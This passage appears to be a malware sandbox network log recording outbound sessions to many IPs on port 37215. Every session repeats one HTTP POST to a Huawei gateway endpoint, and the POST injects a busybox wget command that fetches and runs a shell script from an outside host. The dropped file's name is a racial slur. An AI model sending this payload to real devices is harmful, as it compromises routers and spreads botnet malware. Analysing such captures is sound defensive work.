Feb 19, 2024 18:37:32.675456047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306696892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	38212	31.136.197.87	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.741985083 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.420061111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.795846939 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.675349951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306700945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	48376	31.200.115.89	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.742037058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	37084	31.200.75.99	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.957401037 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	56680	94.123.79.190	37215

